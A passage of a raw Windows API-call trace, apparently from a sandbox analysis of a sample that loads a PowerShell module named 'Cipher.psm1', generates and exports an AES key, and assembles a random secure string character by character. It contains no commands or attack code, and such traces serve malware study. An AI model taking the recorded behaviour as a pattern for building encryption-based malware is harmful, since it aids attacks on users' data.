hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4d8, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4d8*=0x2) returned 1 [0138.911] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee78*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee78*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x81, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.911] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x73, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x73, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.911] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99aeb14, nSize=0x100 | out: lpBuffer="") returned 0x0 [0138.911] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0138.911] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeeec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeeec*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x82, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.911] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee4c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee4c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x73, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.911] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x82, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x82, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.912] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae768, nSize=0x100 | out: lpBuffer="\x1161\x73b6\x30f7\x6b24\x14\x01\xd440\x73ae\x96e8\x667") returned 0x0 [0138.912] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae444, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0138.912] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeb40*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeb40*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x83, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.912] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeaa0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeaa0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x82, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.912] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x83, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x83, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.913] CryptAcquireContextW (in: phProv=0x99ae440, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae440*=0x4396570) returned 1 [0138.913] CryptGenKey (in: hProv=0x4396570, Algid=0x6610, dwFlags=0x1, phKey=0x99ae854 | out: phKey=0x99ae854*=0x8e84ff8) returned 1 [0138.913] CryptContextAddRef (hProv=0x4396570, pdwReserved=0x0, dwFlags=0x0) returned 1 [0138.913] CryptExportKey (in: hKey=0x8e84ff8, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x99ae894 | out: pbData=0x0*, pdwDataLen=0x99ae894*=0x2c) returned 1 [0138.913] CryptExportKey (in: hKey=0x8e84ff8, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x6af0308, pdwDataLen=0x99ae894 | out: pbData=0x6af0308*, pdwDataLen=0x99ae894*=0x2c) returned 1 [0138.914] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae414, nSize=0x100 | out: lpBuffer="\x298\x6af\xe480\x99a\x14\x01\xd440\x73ae\x785c\x667\x1200\x64b\x9e") returned 0x0 [0138.914] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae7ec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae7ec*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x84, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.914] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae74c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae74c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x83, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.914] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae7dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x84, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae7dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x84, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.914] SysStringLen (param_1="") returned 0x8 [0138.914] SysStringLen (param_1="q") returned 0x8 [0138.914] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.914] SysStringLen (param_1="\xb1b4\x1689\xcb91\x3445\x2d32\x2fc9\xadee\x3c2e") returned 0x8 [0138.914] SysStringLen (param_1="\xb1b4\x1689\xcb91\x3445\x2d32\x2fc9\xadee\x3c2e") returned 0x8 [0138.914] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.914] SysStringLen (param_1="qB") returned 0x8 [0138.914] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.914] SysStringLen (param_1="\x8329\xbeab\xbba\xcf66\xb710\xef9a\xc0a7\xb325") returned 0x8 [0138.915] SysStringLen (param_1="\x8329\xbeab\xbba\xcf66\xb710\xef9a\xc0a7\xb325") returned 0x8 [0138.915] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.915] SysStringLen (param_1="qBy") returned 0x8 [0138.915] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.915] SysStringLen (param_1="\xd462\xdd4c\x528b\x9c1f\xdd36\x1a14\xf4bd\x72bc") returned 0x8 [0138.915] SysStringLen (param_1="\xd462\xdd4c\x528b\x9c1f\xdd36\x1a14\xf4bd\x72bc") returned 0x8 [0138.915] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.915] SysStringLen (param_1="qByA") returned 0x8 [0138.915] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.915] SysStringLen (param_1="\x96fc\xfafb\xdf75\xdd28\x4498\x9ceb\xc571\x4c39") returned 0x8 [0138.915] SysStringLen (param_1="\x96fc\xfafb\xdf75\xdd28\x4498\x9ceb\xc571\x4c39") returned 0x8 [0138.915] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.915] SysStringLen (param_1="qByAz") returned 0x8 [0138.915] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.915] SysStringLen (param_1="\xc865\xafa\xac74\xce0\x95f5\xf551\x714b\x5394") returned 0x8 [0138.915] SysStringLen (param_1="\xc865\xafa\xac74\xce0\x95f5\xf551\x714b\x5394") returned 0x8 [0138.915] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.915] SysStringLen (param_1="qByAzW") returned 0x8 [0138.915] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.915] SysStringLen (param_1="\x1268\x99a8\xa00e\x8b1b\x1122\x9ce5\x157\xba51") returned 0x8 [0138.915] SysStringLen (param_1="\x1268\x99a8\xa00e\x8b1b\x1122\x9ce5\x157\xba51") returned 0x8 [0138.915] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.916] SysStringLen (param_1="qByAzWe") returned 0x8 [0138.916] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.916] SysStringLen (param_1="\xe8a3\xdcfb\xea10\xd724\xae48\x1402\x58b6\x3c61") returned 0x8 [0138.916] SysStringLen (param_1="\xe8a3\xdcfb\xea10\xd724\xae48\x1402\x58b6\x3c61") returned 0x8 [0138.916] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.916] SysStringLen (param_1="qByAzWeU") returned 0x8 [0138.916] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.916] SysStringLen (param_1="\xc562\x186e\x53cf\x8991\x10ef\x6312\x82d0\x30b2") returned 0x8 [0138.916] SysStringLen (param_1="\xc562\x186e\x53cf\x8991\x10ef\x6312\x82d0\x30b2") returned 0x8 [0138.916] SysStringLen (param_1="\xc562\x186e\x53cf\x8991\x10ef\x6312\x82d0\x30b2") returned 0x8 [0138.916] SysStringLen (param_1="\xc562\x186e\x53cf\x8991\x10ef\x6312\x82d0\x30b2") returned 0x10 [0138.916] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.916] SysStringLen (param_1="qByAzWeUsᡄ₇袗퐯瞇윫a") returned 0x10 [0138.916] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.916] SysStringLen (param_1="\xc562\x186e\x53cf\x8991\x10ef\x6312\x82d0\x30b2\x5270\x7444\xd1d\xca6a\x6bef\x134e\x8d80\x02") returned 0x10 [0138.916] SysStringLen (param_1="\xc562\x186e\x53cf\x8991\x10ef\x6312\x82d0\x30b2\x5270\x7444\xd1d\xca6a\x6bef\x134e\x8d80\x02") returned 0x10 [0138.916] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.916] SysStringLen (param_1="qByAzWeUsN₇袗퐯瞇윫a") returned 0x10 [0138.916] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.917] SysStringLen (param_1="\xc562\x186e\x53cf\x8991\x10ef\x6312\x82d0\x30b2\xc5f2\x42fa\x1857\x4b62\x135\x4dce\x199a\xf512") returned 0x10 [0138.917] SysStringLen (param_1="\xc562\x186e\x53cf\x8991\x10ef\x6312\x82d0\x30b2\xc5f2\x42fa\x1857\x4b62\x135\x4dce\x199a\xf512") returned 0x10 [0138.917] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.917] SysStringLen (param_1="qByAzWeUsNX袗퐯瞇윫a") returned 0x10 [0138.917] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.917] SysStringLen (param_1="\xc562\x186e\x53cf\x8991\x10ef\x6312\x82d0\x30b2\x6ac0\xaf35\x173e\x5d05\xbbb0\xf68a\xe64d\xe825") returned 0x10 [0138.917] SysStringLen (param_1="\xc562\x186e\x53cf\x8991\x10ef\x6312\x82d0\x30b2\x6ac0\xaf35\x173e\x5d05\xbbb0\xf68a\xe64d\xe825") returned 0x10 [0138.917] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.917] SysStringLen (param_1="qByAzWeUsNXK퐯瞇윫a") returned 0x10 [0138.917] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.917] SysStringLen (param_1="\xc562\x186e\x53cf\x8991\x10ef\x6312\x82d0\x30b2\x887\x8a35\xbcf4\xa31c\xa731\x8371\x870e\xa16") returned 0x10 [0138.917] SysStringLen (param_1="\xc562\x186e\x53cf\x8991\x10ef\x6312\x82d0\x30b2\x887\x8a35\xbcf4\xa31c\xa731\x8371\x870e\xa16") returned 0x10 [0138.917] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.917] SysStringLen (param_1="qByAzWeUsNXKS瞇윫a") returned 0x10 [0138.917] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.917] SysStringLen (param_1="\xc562\x186e\x53cf\x8991\x10ef\x6312\x82d0\x30b2\x35ab\xbe00\xad58\xfaa4\xb22d\xe146\x76a9\x234") returned 0x10 [0138.917] SysStringLen (param_1="\xc562\x186e\x53cf\x8991\x10ef\x6312\x82d0\x30b2\x35ab\xbe00\xad58\xfaa4\xb22d\xe146\x76a9\x234") returned 0x10 [0138.917] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.917] SysStringLen (param_1="qByAzWeUsNXKSC윫a") returned 0x10 [0138.917] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.917] SysStringLen (param_1="\xc562\x186e\x53cf\x8991\x10ef\x6312\x82d0\x30b2\x6abb\xd53a\x9f0f\xeb4b\x2ee0\x3e08\x77bf\x218b") returned 0x10 [0138.917] SysStringLen (param_1="\xc562\x186e\x53cf\x8991\x10ef\x6312\x82d0\x30b2\x6abb\xd53a\x9f0f\xeb4b\x2ee0\x3e08\x77bf\x218b") returned 0x10 [0138.917] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.918] SysStringLen (param_1="qByAzWeUsNXKSCxa") returned 0x10 [0138.918] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.918] SysStringLen (param_1="\xc562\x186e\x53cf\x8991\x10ef\x6312\x82d0\x30b2\xdbb3\x9e27\x9463\x7a63\x861\x4987\xa864\x9dfd") returned 0x10 [0138.918] SysStringLen (param_1="\xc562\x186e\x53cf\x8991\x10ef\x6312\x82d0\x30b2\xdbb3\x9e27\x9463\x7a63\x861\x4987\xa864\x9dfd") returned 0x10 [0138.918] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.918] SysStringLen (param_1="qByAzWeUsNXKSCxp") returned 0x10 [0138.918] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.918] SysStringLen (param_1="\xc562\x186e\x53cf\x8991\x10ef\x6312\x82d0\x30b2\x2542\x8a6e\x8df3\x4f0\xad80\x25a0\xcc70\x32c") returned 0x10 [0138.918] SysStringLen (param_1="\xc562\x186e\x53cf\x8991\x10ef\x6312\x82d0\x30b2\x2542\x8a6e\x8df3\x4f0\xad80\x25a0\xcc70\x32c") returned 0x10 [0138.918] SysStringLen (param_1="\xc562\x186e\x53cf\x8991\x10ef\x6312\x82d0\x30b2\x2542\x8a6e\x8df3\x4f0\xad80\x25a0\xcc70\x32c") returned 0x10 [0138.918] SysStringLen (param_1="\xc562\x186e\x53cf\x8991\x10ef\x6312\x82d0\x30b2\x2542\x8a6e\x8df3\x4f0\xad80\x25a0\xcc70\x32c") returned 0x18 [0138.918] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.918] SysStringLen (param_1="qByAzWeUsNXKSCxp5詄ﺻ׶楀ㄵ見㏿") returned 0x18 [0138.918] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.918] SysStringLen (param_1="\xc562\x186e\x53cf\x8991\x10ef\x6312\x82d0\x30b2\x2542\x8a6e\x8df3\x4f0\xad80\x25a0\xcc70\x32c\x44f2\x9205\x2863\xca34\xa198\xab03\x849\xe044") returned 0x18 [0138.918] SysStringLen (param_1="\xc562\x186e\x53cf\x8991\x10ef\x6312\x82d0\x30b2\x2542\x8a6e\x8df3\x4f0\xad80\x25a0\xcc70\x32c\x44f2\x9205\x2863\xca34\xa198\xab03\x849\xe044") returned 0x18 [0138.918] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.918] SysStringLen (param_1="qByAzWeUsNXKSCxp5Eﺻ׶楀ㄵ見㏿") returned 0x18 [0138.918] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.918] SysStringLen (param_1="\xc562\x186e\x53cf\x8991\x10ef\x6312\x82d0\x30b2\x2542\x8a6e\x8df3\x4f0\xad80\x25a0\xcc70\x32c\x4794\xd727\x1c4d\xf2a8\xee83\x620d\x41e3\x917d") returned 0x18 [0138.918] SysStringLen (param_1="\xc562\x186e\x53cf\x8991\x10ef\x6312\x82d0\x30b2\x2542\x8a6e\x8df3\x4f0\xad80\x25a0\xcc70\x32c\x4794\xd727\x1c4d\xf2a8\xee83\x620d\x41e3\x917d") returned 0x18 [0138.918] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.919] SysStringLen (param_1="qByAzWeUsNXKSCxp5Em׶楀ㄵ見㏿") returned 0x18 [0138.919] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.919] SysStringLen (param_1="\xc562\x186e\x53cf\x8991\x10ef\x6312\x82d0\x30b2\x2542\x8a6e\x8df3\x4f0\xad80\x25a0\xcc70\x32c\xa7da\x6a09\xff68\x2929\x24c0\xbc3c\x9209\x3b1a") returned 0x18 [0138.919] SysStringLen (param_1="\xc562\x186e\x53cf\x8991\x10ef\x6312\x82d0\x30b2\x2542\x8a6e\x8df3\x4f0\xad80\x25a0\xcc70\x32c\xa7da\x6a09\xff68\x2929\x24c0\xbc3c\x9209\x3b1a") returned 0x18 [0138.919] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.919] SysStringLen (param_1="qByAzWeUsNXKSCxp5EmQ楀ㄵ見㏿") returned 0x18 [0138.919] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.919] SysStringLen (param_1="\xc562\x186e\x53cf\x8991\x10ef\x6312\x82d0\x30b2\x2542\x8a6e\x8df3\x4f0\xad80\x25a0\xcc70\x32c\xdfd3\x4a1f\x437d\x1768\x811\xefa9\x19aa\x8593") returned 0x18 [0138.919] SysStringLen (param_1="\xc562\x186e\x53cf\x8991\x10ef\x6312\x82d0\x30b2\x2542\x8a6e\x8df3\x4f0\xad80\x25a0\xcc70\x32c\xdfd3\x4a1f\x437d\x1768\x811\xefa9\x19aa\x8593") returned 0x18 [0138.919] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.919] SysStringLen (param_1="qByAzWeUsNXKSCxp5EmQeㄵ見㏿") returned 0x18 [0138.919] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.919] SysStringLen (param_1="\xc562\x186e\x53cf\x8991\x10ef\x6312\x82d0\x30b2\x2542\x8a6e\x8df3\x4f0\xad80\x25a0\xcc70\x32c\x9664\xbd80\xf886\x4d2e\x616d\x19da\x1a14\x849f") returned 0x18 [0138.919] SysStringLen (param_1="\xc562\x186e\x53cf\x8991\x10ef\x6312\x82d0\x30b2\x2542\x8a6e\x8df3\x4f0\xad80\x25a0\xcc70\x32c\x9664\xbd80\xf886\x4d2e\x616d\x19da\x1a14\x849f") returned 0x18 [0138.919] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.919] SysStringLen (param_1="qByAzWeUsNXKSCxp5EmQeF見㏿") returned 0x18 [0138.919] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.919] SysStringLen (param_1="\xc562\x186e\x53cf\x8991\x10ef\x6312\x82d0\x30b2\x2542\x8a6e\x8df3\x4f0\xad80\x25a0\xcc70\x32c\x6113\xb556\x46a9\x5a68\x404f\x196\xd3ea\x66e6") returned 0x18 [0138.919] SysStringLen (param_1="\xc562\x186e\x53cf\x8991\x10ef\x6312\x82d0\x30b2\x2542\x8a6e\x8df3\x4f0\xad80\x25a0\xcc70\x32c\x6113\xb556\x46a9\x5a68\x404f\x196\xd3ea\x66e6") returned 0x18 [0138.919] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.919] SysStringLen (param_1="qByAzWeUsNXKSCxp5EmQeF3㏿") returned 0x18 [0138.919] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.919] SysStringLen (param_1="\xc562\x186e\x53cf\x8991\x10ef\x6312\x82d0\x30b2\x2542\x8a6e\x8df3\x4f0\xad80\x25a0\xcc70\x32c\x793c\xb811\x9304\x6075\xbbaf\xca36\x5c68\xdadc") returned 0x18 [0138.919] SysStringLen (param_1="\xc562\x186e\x53cf\x8991\x10ef\x6312\x82d0\x30b2\x2542\x8a6e\x8df3\x4f0\xad80\x25a0\xcc70\x32c\x793c\xb811\x9304\x6075\xbbaf\xca36\x5c68\xdadc") returned 0x18 [0138.920] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.920] SysStringLen (param_1="qByAzWeUsNXKSCxp5EmQeF3+") returned 0x18 [0138.920] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.920] SysStringLen (param_1="\xc562\x186e\x53cf\x8991\x10ef\x6312\x82d0\x30b2\x2542\x8a6e\x8df3\x4f0\xad80\x25a0\xcc70\x32c\x73fb\xaea1\xf82e\xc60\x2051\x998d\xbc0d\x96f") returned 0x18 [0138.920] SysStringLen (param_1="\xc562\x186e\x53cf\x8991\x10ef\x6312\x82d0\x30b2\x2542\x8a6e\x8df3\x4f0\xad80\x25a0\xcc70\x32c\x73fb\xaea1\xf82e\xc60\x2051\x998d\xbc0d\x96f") returned 0x18 [0138.920] SysStringLen (param_1="\xc562\x186e\x53cf\x8991\x10ef\x6312\x82d0\x30b2\x2542\x8a6e\x8df3\x4f0\xad80\x25a0\xcc70\x32c\x73fb\xaea1\xf82e\xc60\x2051\x998d\xbc0d\x96f") returned 0x18 [0138.920] SysStringLen (param_1="\xc562\x186e\x53cf\x8991\x10ef\x6312\x82d0\x30b2\x2542\x8a6e\x8df3\x4f0\xad80\x25a0\xcc70\x32c\x73fb\xaea1\xf82e\xc60\x2051\x998d\xbc0d\x96f") returned 0x20 [0138.920] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.920] SysStringLen (param_1="qByAzWeUsNXKSCxp5EmQeF3+s꺋警൦贘臨㦼") returned 0x20 [0138.920] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.920] SysStringLen (param_1="\xc562\x186e\x53cf\x8991\x10ef\x6312\x82d0\x30b2\x2542\x8a6e\x8df3\x4f0\xad80\x25a0\xcc70\x32c\x73fb\xaea1\xf82e\xc60\x2051\x998d\xbc0d\x96f\xfd18\x2da9\x1c0c\xdf3c\x6894\x6a4f\x9e7\x6784") returned 0x20 [0138.920] SysStringLen (param_1="\xc562\x186e\x53cf\x8991\x10ef\x6312\x82d0\x30b2\x2542\x8a6e\x8df3\x4f0\xad80\x25a0\xcc70\x32c\x73fb\xaea1\xf82e\xc60\x2051\x998d\xbc0d\x96f\xfd18\x2da9\x1c0c\xdf3c\x6894\x6a4f\x9e7\x6784") returned 0x20 [0138.920] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.920] SysStringLen (param_1="qByAzWeUsNXKSCxp5EmQeF3+sX警൦贘臨㦼") returned 0x20 [0138.920] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.920] SysStringLen 